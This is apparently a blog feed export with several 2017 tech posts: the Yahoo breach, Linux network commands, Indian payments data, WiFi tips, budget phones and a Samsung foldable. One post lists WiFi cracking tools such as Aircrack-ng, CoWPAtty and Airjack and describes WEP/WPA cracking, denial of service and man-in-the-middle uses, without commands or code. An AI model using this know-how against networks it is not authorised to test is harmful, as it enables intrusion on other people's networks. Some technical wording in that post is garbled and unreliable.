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2.<span style="white-space: pre;"> </span>Enter your GATE 2018 registration number and date of birth to log in to the score predictor.</div>
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3.<span style="white-space: pre;"> </span>Select the category, date on which you appeared for the exam, exam slot, GATE paper, expected marks out of 100, and the difficulty level of the exam from the options provided for easy, difficult or moderate. Note that you need to use the answer key to calculate your probable marks.</div>
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4.<span style="white-space: pre;"> </span>Once you have completed filling all the above information, click the ‘Predict Now’ button. The score predictor tool will display your probable score.</div>
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Result Analysis of the Score Predictor</h2>
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The tool will provide you with you your expected marks on the basis of the information provided by you. You can assess the same to understand where you stand in comparison to other candidates who also appeared for the exam along with you. You may save this analysis or take a printout of the same. </div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com1tag:blogger.com,1999:blog-1778979857251896130.post-89673647633096642272017-10-06T21:00:00.000+05:302017-10-06T21:00:15.448+05:30Yahoo!! all 3 Billion Accounts hacked in 2013.<div dir="ltr" style="text-align: left;" trbidi="on">
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Yahoo Data Breach: All Accounts hacked in 2013.</h3>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi84-itj0WCnAUFmaEtHG3xmimhR-0AJj5LHvr_lgNd8y8j3xq0TSmauvOYVycNgPN_RixKK06OZGewjsRv4E5YpMCi5aY3JeTa2EBlLqpjkvam0f_91j1pXtDbtqQhcYHM15KaoSf6J0cr/s1600/yahoo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Yahoo!! all 3 Billion Accounts hacked in 2013." border="0" data-original-height="225" data-original-width="225" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi84-itj0WCnAUFmaEtHG3xmimhR-0AJj5LHvr_lgNd8y8j3xq0TSmauvOYVycNgPN_RixKK06OZGewjsRv4E5YpMCi5aY3JeTa2EBlLqpjkvam0f_91j1pXtDbtqQhcYHM15KaoSf6J0cr/s400/yahoo.jpg" title="Yahoo!! all 3 Billion Accounts hacked in 2013.`" width="400" /></a></div>
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The Email Communication Provider Yahoo having 3 billion accounts back in 2013 was been hacked in 2013 data theft, the data theft was about triple of previous estimated size of biggest data breach in history,Attorneys in a disclosure said that they sharply increased the legal exposure of its new owner, Verizon Communications.<br />
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Shareholders and Yahoo account holders lead to claim of class action lawsuits as the news got published, they said. 41 consumer class action lawsuits in us Federal and state courts were faced by the early face of internet Yahoo!! , according to company securities filing in May.<br />
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John Yanchunis, a lawyer representing some of the affected Yahoo users, said a federal judge who allowed the case to go forward still had asked for more information to justify his clients' claims. "I think we have those facts now," he said. "It's really mind-numbing when you think about it."<br />
Yahoo said last December that data from more than 1 billion accounts was compromised in 2013, the largest of a series of thefts that forced Yahoo to cut the price of its assets in a sale to Verizon.<br />
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Verizon did not respond to a request for comment about any possible lawsuit over the deal.</div>
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Verizon, the likely main target of legal actions, also could be challenged as it launches a new brand, Oath, to link its Yahoo, AOL and Huffington Post internet properties.</div>
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In August in the separate lawsuit brought by Yahoo's users, U.S. Judge Lucy Koh in San Jose, California, ruled Yahoo must face nationwide litigation brought on behalf of owners accounts who said their personal information was compromised in the three breaches. Yanchunis, the lawyer for the users, said his team planned to use the new information later this month to expanding its allegations.</div>
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Also on Tuesday, Senator John Thune, chairman of the U.S. Senate Commerce Committee, said he plans to hold a hearing later this month over massive data breaches at Equifax Inc (EFX.N) and Yahoo. The U.S. Securities and Exchange Commission already had been probing Yahoo over the hacks.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-21677656654089331852017-10-06T20:00:00.000+05:302017-10-06T20:00:18.614+05:3010 Network Configuration & Troubleshooting Linux Commands.<div dir="ltr" style="text-align: left;" trbidi="on">
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Linux Configuration and troubleshooting commands.</h3>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8vkRe6C4XvntV6kDdlvkhWq8J97G7oU75syPBrViFcOGd39Z1ja_Gojs4spBqaS7y39Dqc_4aw-btXS9Q6C84MLbKIodW6_9tH9L5kpZ5GCVgBVVyDcLT1fdn0Y3gpNxI2yswG8eXjuQs/s1600/linux+network+confi.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="10 Network Configuration & Troubleshooting Linux Commands." border="0" data-original-height="163" data-original-width="310" height="210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8vkRe6C4XvntV6kDdlvkhWq8J97G7oU75syPBrViFcOGd39Z1ja_Gojs4spBqaS7y39Dqc_4aw-btXS9Q6C84MLbKIodW6_9tH9L5kpZ5GCVgBVVyDcLT1fdn0Y3gpNxI2yswG8eXjuQs/s400/linux+network+confi.png" title="10 Network Configuration & Troubleshooting Linux Commands." width="400" /></a></div>
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In Today's day to day lifestyle as computers are very common the use of networking is also increasing. when a network media connects two or more computers it is called computer network. Its the job of system or network administrator to look after the running and control of the network. in this article we will be featuring 10 rapidly used configuration and troubleshooting linux commands.<div>
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<b>1. GUI tool system-config-network</b> </div>
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Enter the command <b>system-config-network</b> in command prompt to configure network setting and you will get nice Graphical User Interface (GUI) which may also use to configure IP Address, Gateway, DNS etc.</div>
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<b>2. HOST Command</b></div>
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<b>Host</b> command is used to find name to IP or IP to name in IPv4 or IPv6 and also query DNS records.</div>
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Using <b>Host-t </b>option we can find out DNS Resource Records like CNAME, NS, MX, SOA etc.</div>
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<b>3. ARP Command</b></div>
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ARP (Address Resolution Protocol) is useful to view / add the contents of the kernel’s ARP tables.</div>
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<b>4. NETSTAT Command</b></div>
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Netstat (Network Statistic) command display connection info, routing table information etc. To displays routing table information use option as -r.</div>
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<b>5. NSLOOKUP Command</b></div>
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nslookup command also use to find out DNS related query.</div>
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<b>6. ETHTOOL Command</b></div>
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Ethtool is a replacement of mii-tool. It is to view, setting speed and duplex of your Network Interface Card (NIC). You can set duplex permanently in /etc/sysconfig/network-scripts/ifcfg-eth0 with ETHTOOL_OPTS variable.</div>
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<b>7. IWCONFIG Command</b></div>
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iwconfig command in Linux is use to configure a wireless network interface. You can see and set the basic Wi-Fi details like SSID channel and encryption. </div>
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<b>8. ifconfig</b></div>
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ifconfig (interface configurator) command is use to initialize an interface, assign IP Address to interface and enable or disable interface on demand. With this command you can view IP Address and Hardware / MAC address assign to interface and also MTU (Maximum transmission unit) size.</div>
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ifconfig with interface (eth0) command only shows specific interface details like IP Address, MAC Address etc. with -a options will display all available interface details if it is disable also.</div>
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<b>9. PING Command</b></div>
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PING (Packet INternet Groper) command is the best way to test connectivity between two nodes. Whether it is Local Area Network (LAN) or Wide Area Network (WAN). Ping use ICMP (Internet Control Message Protocol) to communicate to other devices. You can ping host name of ip address using below command.</div>
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In Linux ping command keep executing until you interrupt. Ping with -c option exit after N number of request (success or error respond).</div>
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<b>10. TRACEROUTE Command</b></div>
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traceroute is a network troubleshooting utility which shows number of hops taken to reach destination also determine packets traveling path.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-33097531430746122112017-10-03T18:00:00.000+05:302017-10-03T18:00:13.983+05:30India going digital, paper clearing at banks falls.<div dir="ltr" style="text-align: left;" trbidi="on">
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Paper Clearing at banks in India fall.</h3>
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The Reserve Bank of India data shows the value of paper-clearing transactions fell a fifth from Rs 100 lakh crore in 201213 to Rs 80.9 lakh crore at the end of 2016-17. In the same period, the volume of such transactions fell to 120.6 crore from 131.3 crore. </div>
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Between 2016 and 2017, the volume of cheque transactions fell by over 11 crore. Paper clearing transactions, which accounted for 82 per cent value of total retail payments in 2011-12, shrunk to 37 per cent in 2016-17.</div>
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"Paper-clearing transactions have gone down because other modes like NEFT, RTGS, IMPS have climbed up significantly ," said Mrityunjay Mahapatra, DMD, State Bank of India BSE -0.69 %. </div>
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Paper clearing consists of cheque truncation system, MICR (Magnetic Ink Character Recognition) clearing and nonMICR clearing. The RBI data shows that even before demonetisation, digital transactions had been gradually replacing cheque-based transactions. "We have seen demand for cheque payments going up , especially in the SME sector. </div>
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With GST, cash transactions have come down and been replaced by cheques or demand drafts. However, given the fact that digital transactions are growing phenomenally , cheques as a payment method would gradually come down over a period of time," said Virat Diwanji, head branch banking and acquisition, Kotak Mahindra BankBSE -0.42 %. </div>
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Provisional payments volume data for August shows more Indians used plastic currency or wire transfers, with a steady rise in digital transactions over the past three months. At 883 million, August led July and June that logged 860 million and 844 million transactions, respectively, central bank data showed. </div>
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This is the closest to 893 million transactions in March, a record since demonetisation on November 2016. </div>
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Leading the pack was Unified Payments Interface (UPI), which the central bank and the government are pushing to drive retail digital payments. UPI clocked 16.6 million transactions in August against 11.4 million the previous month. The 45 per cent month-on-month increase is the highest so far for UPI since demonetisation. </div>
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Besides UPI, the growth has been sustained by card swipes at point of sales terminals for merchant payments. </div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-88400780518513491242017-10-02T21:00:00.000+05:302017-10-02T21:00:11.663+05:30How to use WiFi direct on a smart phone? What is WiFi Direct?<div dir="ltr" style="text-align: left;" trbidi="on">
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What is WiFi Direct?</h3>
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When someone mentions Wi-Fi most people will immediately think of surfing the internet, but there's more to it than just that. Wi-Fi Direct is a certificate of the Wi-Fi Alliance, which includes over 600 members such as Apple, LG, Intel, Microsoft and Dell. A host of devices these days are Wi-Fi Direct compatible - most notably Tablets, Laptops, Digital Cameras. The Samsung Galaxy S (launched in 2010) was one of the first smartphones to include this feature, and as of Android 4.0 Ice Cream Sandwich, all Android smartphones have this feature included natively. </div>
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Wi-Fi Direct can be seen as a sort of second generation Wi-Fi, as it allows compatible devices which do not have their own internet connection, to establish a mutual connection with ones that do (Hotspots, modems or routers). Thanks to Wi-Fi Direct, you can build up a wireless network between multiple devices. In addition, you can use Wi-Fi Direct in combination with Miracast to screencast onto another device with a display. The newest generation of Wi-Fi Direct is also NFC compatible.</div>
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<b>How to set up Wi-Fi Direct?</b></div>
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Every Android smartphone that uses Android 4.0 and above has Wi-Fi Direct functionality (bar some very rare exceptions). While the systems' user interfaces might vary, setting this functionality up is relatively simple and unified across all devices. Wi-Fi Direct does not natively support file transfers at the moment, so you will need to install a third party app. We recommend "Send Anywhere".</div>
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To turn on Wi-Fi Direct, go into Settings -> Connections -> Wi-Fi then tap on the Wi-Fi Direct tab at the top. Your smartphone will start scanning for devices that you can connect to. </div>
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Unlike with Bluetooth, there is no button or anything that you need to tap to turn Wi-Fi Direct on. Wi-Fi Direct is enabled the moment you have a stable internet connection. This doesn't mean that Wi-Fi Direct is on all the time. Your smartphone only starts scanning for nearby devices to connect to when you tap on the Wi-Fi Direct tab.</div>
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<b>Why would you use Wi-Fi Direct?</b></div>
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As mentioned above, Wi-Fi direct allows devices without their own internet connection to connect to one which does. In the case of Android Smartphones and devices, you can connect them and quickly transfer files without the hassle of cables. So, is Wi-Fi Direct just a glorified version of Bluetooth? Well, yes and no. The advantage of using Wi-Fi Direct over Bluetooth, is that the Wi-Fi range and transfer speeds are significantly higher than those of Bluetooth. So in short - use Wi-Fi Direct if you want a better way to send files from one device to another.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-52907068524468027402017-10-02T20:00:00.000+05:302017-10-08T00:01:39.179+05:30 Top 10 Best WiFi hacking tools of 2017<div dir="ltr" style="text-align: left;" trbidi="on">
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<b>Top 10 Best WiFi hacking tools of 2017</b><br />
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Sometimes when you are on a network, you also want to check what is happening on the network. This happens mostly in big organizations, when an employer wants to check who is doing what in the network. For these things, there are a few network hacking tools available that let users analyze packets and see what other users are doing.<br />
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In this article, I am going to discuss wireless security and best wi-fi password cracking or recovery tools. I will explain the kind of encryption wireless networks use and how these tools can crack the networks to get access. We will also see what tools let users monitor networks. Here is a list of top 10 WiFi hacking tools.<br />
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<b>1. Aircrack-ng</b><br />
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Aircrack-ng is one of the most popular wireless passwords cracking tools which you can use for 802.11a/b/g WEP and WPA cracking. Aircrack uses the best algorithms to recover wireless passwords by capturing packets. Once enough packets have been gathered, it tries to recover the password. To make the attack faster, it implements a standard FMS attack with some optimizations. The company behind the tool also offers an online tutorial where you can learn how to install and use this tool to crack wireless passwords. It comes as Linux distribution, Live CD and VMware image options. You can use any of these. It supports most of the wireless adapters and is almost guaranteed to work. If you are using a Linux distribution, the only drawback of the tool is that it requires deeper knowledge of Linux. If you are not comfortable with Linux, you will find it hard to use this tool. In this case, try Live CD or VMWare image. VMWare Image needs less knowledge, but it only works with a limited set of host OS, and only USB devices are supported. Before you start using this tool, confirm that the wireless card can inject packets. Then start WEP cracking. Read the online tutorial on the website to know more about the tool. If you will follow steps properly, you will end up getting success with this tool.<br />
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<b>2. AirSnort</b><br />
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AirSnort is another popular tool for decrypting WEP encryption on a wi-fi 802.11b network. It is a free tool and comes with Linux and Windows platforms. This tool is no longer maintained, but it is still available to download from Sourceforge. AirSnort works by passively monitoring transmissions and computing encryption keys once it has enough packets received. This tool is simple to use. If you are interested, you can try this tool to crack WEP passwords.<br />
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<b>3. Cain & Able</b><br />
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Cain & Able is a popular password cracking tool. This tool is developed to intercept network traffic and then discover passwords by bruteforcing the password using cryptanalysis attack methods. It can also recover wireless network keys by analyzing routing protocols. It you are trying to learn wireless security and password cracking, you should once try this tool.<br />
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<b>4. Kismet</b><br />
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Kismet is the wi-fi 802.11 a/b/g/n layer2 wireless network sniffer and IDS. It works with any wi-fi card which supports rfmon mode. It passively collects packets to identify networks and detect hidden networks. It is built on client/server modular architecture. It is available for Linux, OSX, Windows and BSD platforms.<br />
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<b>5. NetStumbler</b><br />
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NetStumbler is a popular Windows tool to find open wireless access points. This tool is free and is available for Windows. A trimmed down version of the tool is also available. It is called MiniStumbler. Basically NetStumblet is used for wardriving, verifying network configurations, finding locations with a poor network, detecting unauthorized access points, and more. But the tool also has a big disadvantage. It can be easily detected by most of the wireless intrusion detection systems available. This is because it actively probes a network to collect useful information. Another disadvantage of the tool is that it does not work properly with the latest 64 bit Windows OS. This is because the tool was last updated back in April 2004. It has been around 11 years since the last stable release of the tool.<br />
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<b>6. inSSIDer</b><br />
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inSSIDer is a popular Wi-Fi scanner for Microsoft Windows and OS X operating systems. Initially the tool was opensource. Later it became premium and now costs $19.99. It was also awarded as “Best Opensource Software in Networking”. The inSSIDer wi-fi scanner can do various tasks, including finding open wi-fi access points, tracking signal strength, and saving logs with GPS records.<br />
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<b>7. WireShark</b><br />
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WireShark is the network protocol analyzer. It lets you check what is happening in your network. You can live capture packets and analyze them. It captures packets and lets you check data at the micro-level. It runs on Windows, Linux, OS X, Solaries, FreeBSD and others. WireShark requires good knowledge of network protocols to analyze the data obtained with the tool. If you do not have good knowledge of that, you may not find this tool interesting. So, try only if you are sure about your protocol knowledge.<br />
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<b>8. CoWPAtty</b><br />
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CoWPAtty is an automated dictionary attack tool for WPA-PSK. It runs on Linux OS. This program has a command line interface and runs on a word-list that contains the password to use in the attack. Using the tool is really simple, but it is slow. That’s because the hash uses SHA1 with a seed of SSID. It means the same password will have a different SSIM. So, you cannot simply use the rainbow table against all access points. So, the tool uses the password dictionary and generates the hack for each word contained in the dictionary by using the SSID. The new version of the tool tried to improve the speed by using a pre-computed hash file. This pre-computed file contains around 172000 dictionary file for around 1000 most popular SSIs. But if your SSID is not in those 1000, you are unlucky.<br />
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<b>9. Airjack</b><br />
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Airjack is a Wi-Fi 802.11 packet injection tool. This wireless cracking tool is very useful in injecting forged packets and making a network down by denial of service attack. This tool can also be used for a man in the middle attack in the network.<br />
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<b>10. WepAttack</b><br />
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WepAttack is an open source Linux tool for breaking 802.11 WEP keys. This tool performs an active dictionary attack by testing millions of words to find the working key. Only a working WLAN card is required to work with WepAttack.</div>
Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-90811468459021493232017-10-02T19:00:00.000+05:302017-10-02T19:00:23.522+05:30Best Budget Smartphones under 10000 in India<div dir="ltr" style="text-align: left;" trbidi="on">
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Here is a list of best smartphone in market under 10000 in India </h3>
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As we are Living in 21st Century, a middle class man will always try to save money as much as he can,buying a smartphone becomes a tight budget for them,so in this article I will present list of best smartphone available in market under 10000 so it becomes easier to control budget of a middle class family </div>
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<b>Best smartphones under 10000 :</b></div>
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<b>1. Xiaomi Redmi Note 4</b></div>
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The 2GB, 32GB version of the Xiaomi Redmi Note 4 priced at Rs. 9,999 in and currently is the best budget smartphone under Rs. 10,000 in India. In terms of performance, the Snapdragon 625 powered phone performs better than almost all devices around the same price. It has one of the most reliable battery life we have seen on a sub-10k smartphone. Xiaomi has also improved the camera in the new phone, making it an even better proposition. Overall, It offers the best performance and battery life of all smartphones below Rs. 10,000 that are currently available in India. However, limited stocks are still a big hurdle to pass through.</div>
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<b>2. Xiaomi Redmi 4</b></div>
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The Xiaomi Redmi 4 takes up the mantle from the Redmi 3S Prime. The phone is now available with a fingerprint scanner across all its variants. Available in both 2GB, 16GB and 3GB, 32GB variants under Rs. 10,000 makes it one of the best budget options. You can also opt for the 4GB, 64GB variant of the phone, but you might have to extend your budget for that. Moreover, the phone has the best camera in the sub-10K segment.</div>
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<b>3. Micromax Canvas Infinity</b></div>
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If you are looking for the best looking phone under 10000, then you should get the Canvas Infinity from Micromax. Micromax has managed to offer an LG Q6 like display in an more affordable form factor and offering better overall performance. In the addition both the front and rear cameras on the phone are one of the best we have seen in the category.</div>
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<b>4. Yu Yureka Black</b></div>
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The Yu Yureka is another good option in the sub-10K smartphone category, offering pretty much the same performance as the Xiaomi Redmi 4, but in a newer, more good looking design. The Phone is available in two kinds of black colours and looks quite premium in both of them. It features 4GB of RAM and 32GB storage, setting a new benchmark in its price segment. The battery life is also decent, but the camera quality is quite inconsistent.</div>
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<b>5. Lenovo K6 Power</b></div>
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The Lenovo K6 Power is another good option in the sub-10 budget. This K-series phone from Lenovo challenges the famed Xiaomi Redmi 3S prime. In fact, the K6 Power turned out to be as good a phone as the Redmi 3S prime in terms of performance. In addition, the 5-inch phone packs a 1080p display, and the 13MP rear camera on the phone is also better than that of the Redmi 3S prime. Moreover, if you want to buy a smartphone under 10000 and don’t want to wait for a flash sale, this might be your best option.</div>
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<b>6. Moto E4 Plus</b></div>
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When you are considering smartphones under 10000, other phones worth checking out is the Moto E4 Plus. Aimed squarely at the budget segment to compete with the likes of Xiaomi, the E4 Plus features a large 5000mAh battery and Moto claims it can go for days without charging. It is powered by a MediaTek MT6737 SoC and features 3GB of RAM. There is 32GB of storage on the device and you can add more storage to the device via a microSD card. On the camera front, you have a 13MP shooter at the rear and a 5MP front facing camera</div>
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<b>7. Moto G4 Play</b></div>
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If you like a stock like Android UI on your phone, the Moto G4 Play is your best option to buy in a budget. The Snapdragon 410 SoC powered device may not be as powerful as the Redmi 3S, but it will not disappoint if your day to day usage does not include gaming. Further, it has decent battery life and is one of the most ergonomic smartphones available.</div>
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<b>8. Coolpad Note 5 Lite</b></div>
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The smaller cousin of the Coolpad Note 5, is one of the best looking phones in the budget segment, but besides that it has a decent display and battery life. That being said, the Coolpad Note 5 Lite is hard to recommend over the Redmi 4 or even the Redmi Note 4 which are available around the same price.</div>
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<b>9. Moto G4</b></div>
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The Moto G4 is the last year budget offering from Motorola, which currently is available for around Rs. 10,000. This 5.5-inch smartphone may not be as good a performer as other phones which come above it, but it is still a decent performer. The phone offers a decent build quality and a reliable battery life as well. The rear 13MP camera is also quite good.</div>
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Above is a list of the best phones under 10000 in India with companies offering the best specification.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-6263904655390073192017-09-29T20:15:00.000+05:302017-09-29T20:15:26.325+05:30Samsung Galaxy X: Samsung's fold-able phone.<div dir="ltr" style="text-align: left;" trbidi="on">
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Samsung's new Fold-able Phone. </h3>
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Samsung's mobile boss has said the company is aiming to launch a bendable phone in 2018, assuming it can overcome some problems. Additionally, we've heard that its model number might have popped up in a Korean filing. We could be just a bit closer to release after all.<br />
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Foldable phones are coming – it’s only a matter of time – and it's looking increasingly like Samsung could be the first company to commercially launch one, possibly as soon as this year.<br />
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We may even know what it’s called, with the mysterious Samsung Galaxy X being the subject of several bendable leaks, foldable patents and flexible rumors.<br />
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But whether X marks the spot or not, we’re clearly entering a foldable future. To see how we got here and where we’re going, here’s the story of Samsung’s foldable phone so far. </div>
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The idea of a foldable phone isn’t new to Samsung, in fact way back in 2011 the company showed off a prototype of exactly that.<br />
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The device looked chunky and awkward, but even back then it somewhat worked, remaining intact after 100,000 folds, with only a 6% drop in brightness at the center, where all the folding action happened.<br />
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This clearly wasn’t a commercial product, but later that year Samsung launched a concept video of a fully bendable (and transparent) mobile device, that could fold out from a phone-sized screen to a tablet-sized one, showing Samsung's ambitions for the technology.<br />
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While a device like the one in the video above is likely still years away even now, by 2012 Samsung was already hard at work trying to launch the first generation of flexible or foldable phones, but a report late in the year claimed that problems with the production of flexible screens would hold the first bendy display back until at least 2013.<br />
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That didn’t stop Samsung showing off another video of a foldable future though, highlighting all sorts of transparent screens, made from plastic that’s thin, light and flexible enough to fully fold or roll.<br />
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And as 2012 came to a close it seemed Samsung might be overcoming its production problems, with another report claiming that its flexible plastic screens were in the final stage of development, with the first phones sporting them likely to land in mid-2013.<br />
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Samsung’s bendy plastic screens got a more real-world debut at CES 2013, along with a name – they were now called ‘Youm’, though it was clear from the flexible prototype on show that Samsung was still far from putting a Youm display on a commercial device.<br />
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That was made even more clear when the tech was reportedly hit with new manufacturing issues in April 2013. Supposedly the previous problems had been solved, but now Samsung was apparently struggling with the encapsulation technology, which protects the screen from moisture and air damage.<br />
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In May 2016 Project Valley got a new name – the Samsung Galaxy X, which was believed to be the name it would release under.<br />
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According to reports at the time it would be ready for release in 2017 and would have a foldable 4K display, so that the resolution would remain high even when the phone was folded.<br />
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We were sceptical about that launch date at the time, and still are, as it sounds seriously futuristic compared to the phones we’re using currently.<br />
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But that’s not quite the full story so far. At SID 2016 Samsung showed off a roll-out display – but one which didn’t have a touchscreen layer, which would be pretty vital for a smartphone.<br />
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Then in June “people familiar with the matter” reported that we might see two foldable phones from Samsung in 2017 - backing up those previous Galaxy X reports.<br />
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Supposedly one would fold out from a 5-inch handset to an 8-inch tablet, much like the concept video Samsung showed back at the beginning of our story, while the other would fold in half like a cosmetic compact, along the lines of a folding phone patent we’d already seen.<br />
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We still weren’t convinced, but Samsung was clearly on the right track, with another patent looking to solve one of the biggest problems with folding phones – the ability to fold without damaging any internal components.<br />
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The patent described an “artificial muscle”, which would move in time with the screen bending to protect other components.<br />
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Our most recent look at what might be the Samsung Galaxy X came from a patent spotted by GalaxyClub, highlighting a long device, with a shape more like a remote control than a smartphone, but one which could fold down to half the size.<br />
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The shape doesn’t seem particularly practical, so we doubt this is the form the Galaxy X will take, but it’s vaguely along the lines of the phone-to-tablet convertible we’ve been hearing about.<br />
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And talk of a 2017 launch hasn't died. In late 2016 we heard rumors that a foldable Samsung phone would launch early the following year, followed by another later in the year. One of these was said to have two displays with a hinge in the middle, while the other will apparently have a single flexible screen.<br />
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More recently we've heard again that the Galaxy X will arrive in 2017, but not until the second half of the year.<br />
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According to some sources, more than 100,000 units are going to roll out in the third quarter of the year - though plans for a 2017 launch could apparently be changed.<br />
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-46633571093162509462017-09-29T19:02:00.001+05:302017-09-29T19:02:34.317+05:30Top 10 Ways to speed up your Home WiFi.<div dir="ltr" style="text-align: left;" trbidi="on">
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Top 10 Tricks/Tips/Ways to speed up your Home WiFi.</h3>
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Having WiFi at your place is now becoming common as well the need of Speed of your WiFi for downloading large files. Everyone want their WiFi Speed at the limit of the sky as we have low speed on our WiFi we get bit Frustrated. So if you’re plagued by slow speeds, bad reception, and other WiFi issues, here are 10 ways you can power up the WiFi in your home.</div>
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<b>1. Use the Latest Wi-Fi Technologies</b></div>
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One of the best ways to make sure your network is as fast and reliable as possible is to use up-to-date hardware. We’ve gone through the basics of router hardware before, so check out the first lesson of our networking Night School for the full lowdown. The main thing you need to know: Wireless A, B, G, and N are older wireless standards, with wireless AC being the most current offering.</div>
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If you’re streaming more and more HD video to devices like Chromecasts or smartphones, having a wireless AC connection will alleviate video stuttering or buffering thanks to its ability to move more data at a faster rate than the older N standard. Its successor, AX, isn’t due out until 2019, so you won’t have to worry about updating your wireless tech for a while if you’re already caught up. Note that you’ll need both a wireless AC router and a device, networking card, or USB dongle with wireless AC support in your computer if you want the full speed boost. With more smart devices like light bulbs and switches scattered throughout the house, a strong WiFi signal that can propagate throughout your home is essential. But if you’ve only got one crappy router, and don’t feel like learning how to convert your second one into a repeater, consider purchasing a wireless mesh network system.</div>
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Companies like Luma, Eero, and even Google have released mesh network routers, smaller routers you place throughout your home to blanket it in WiFi. They usually operate with one functioning as the base station while the others are plugged in at various points throughout the home. They all feature an easy setup process through a smartphone application that let you monitor nearly everything going on inside your network, including sites visited and devices connected to your setup.</div>
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<b>2. Find the Right Wireless Channel.</b></div>
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If you have neighbors, their routers may be interfering with yours and causing the signal to degrade. Wireless routers can operate on a number of different channels, and you want yours on a channel with as little interference as possible. Use a tool like Network Analyzer Lite or WiFi Analyzer to find the perfect channel in your house.</div>
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<b>3. Get Rid of Interference from Other Appliances.</b></div>
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Other routers aren’t the only thing that can cause interference. Cordless phones, microwaves, and other appliances can muck with your signal as well. Buying a dual band router can help with this, but you can also buy cordless phones on other bands too. If you don’t want to buy new hardware, you can always try moving your router further away from interfering appliances, too.</div>
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<b>4. Find the Perfect Spot for Your Router.</b></div>
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Routers may be ugly, but that doesn’t mean you should hide them behind the TV cabinet. If you want the best signal, you’ll need it out in the open, free of any walls and obstructions. If your router’s optimal location is a space without a table or flat surface, check to see if you can wall mount it either using its pre-installed mounting holes or a third-party mounting bracket. Point the antennas perpendicularly, and elevate the router if you can (one reader found that his attic was the perfect spot). Lastly, make sure it’s in the center of your house, so you have the best coverage possible throughout your home.</div>
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Routers are often confined to particular locations based on where your Internet connection enters your home and connects to your modem. You can alleviate the issue with some longer Ethernet cables and a few cable clips to hold your cable against the wall and out of the way.</div>
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<b>5. Thwart Wi-Fi Thieves with Better Security</b></div>
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There’s more than one way to protect your WiFi connection from prying neighbors or malicious attackers. A combination of simple trickery and the proper password protection will keep most of the rabble out.</div>
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Cloaking is an effective measure to keep your data-mooching neighbor off your internet connection (though more tech-savvy users can use free network scanners to find it with relative ease).</div>
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If they can’t see your WiFi network, they probably can’t connect to it. You can keep prying eyes away from your router by hiding its SSID (the name of the WiFi network) and forcing everyone who wants in to type it manually. You can toggle the SSID broadcast option in the firmware settings of your router. While your SSID is hidden, it won’t show up if you’re setting up new devices or scanning for a connection on your smartphone; you’ll have to enter it yourself.</div>
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In terms of password protection, your router’s default administrator username and password should be changed immediately, and stored wherever you keep the rest of your passwords. In addition, you should enable WPA2 password protection on your WiFi network. It’s encrypted, making it more secure than the older WPA or WEP security protocols.</div>
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<b>6. Set Your Router to Reboot on a Schedule.</b></div>
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If you’re one of the many folks that has to reboot their router every so often so it doesn’t drop out, there is a solution. You can run a few tests to make sure the problem isn’t caused by heat, old firmware, or excess downloading, but an easy way to solve the problem is just automatically reboot it once a day or so. You can do this with DD-WRT or just a regular old outlet timer. When you’re done, you shouldn’t have to reboot your router so often (which is great if your router’s all the way up in the attic).</div>
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<b>7. Turn an Old Router Into a Wi-Fi Repeater.</b></div>
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If that still doesn’t help, you’ll need to get a range extender for your home. They aren’t super expensive, but if you don’t want to pay for another piece of hardware, you can actually turn an old wireless router into an extender with the aforementioned DD-WRT firmware. Note that you may not be able to get as fast of a connection through your extender, but if you just can’t seem to get WiFi on the edge of your house, this’ll get the job done on the cheap.</div>
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You could also connect one router to another via Ethernet cable and create another access point in your home.</div>
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<b>8. Boost Your Router’s Signal with a Bit of Hacking.</b></div>
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Another great way to extend your range is to hack your router and install the DD-WRT firmware. Not only will it give you a ton of great security features and other enhancements, but it gives you the option to boost your transmitting power. This can be dangerous for your router, but most routers can handle an increase up to 70 mW without causing any issues, and you’ll be able to access your network from much further away!</div>
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<b>9. Increase Your Wi-Fi Range with DIY Tricks</b></div>
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If your router still won’t reach far enough, you can extend its range with simple DIY tricks. Our favorite is the Windsurfer tin foil hack, though you can also use an old beer can or a cooking strainer to extend your router’s range. The results won’t necessarily be mind blowing, but you should be able to eke a bit more distance out of your WiFi network with minimal effort.</div>
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You can spend a little money to boost your network range without breaking the bank. Nearly all routers and PC network cards, usually those with adjustable antennae, use twist-off antennae with RP-SMA connectors. You can buy RP-SMA antenna extension cables, or even a directional antenna to boost your WiFi’s performance. </div>
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<b>10. Control Bandwidth-Hogging Applications.</b></div>
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If someone in your house regularly video chats, plays online games, torrents files, or uses services like Netflix, they may be hogging bandwidth and making the internet slower for everyone else. Luckily, you can use something called Quality of Service—or QoS for short—to reign in those bandwidth hogs. With QoS, you can prioritize certain applications (say, video chat) over others (like video games) so the most important applications get the bandwidth they deserve. For more info, check out our full guide to setting up QoS on your router.</div>
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Trying Out these tips/tricks/ways you will find your WiFi speed will be Increased with a better download and upload rate. If these tricks didn't make a difference in your WiFi speed try restarting it.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-51068809326376569192017-09-29T01:33:00.000+05:302017-09-29T01:33:22.444+05:30Top 5 YouTube Video downloader.<div dir="ltr" style="text-align: left;" trbidi="on">
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Top 5 YouTube Video downloader</h3>
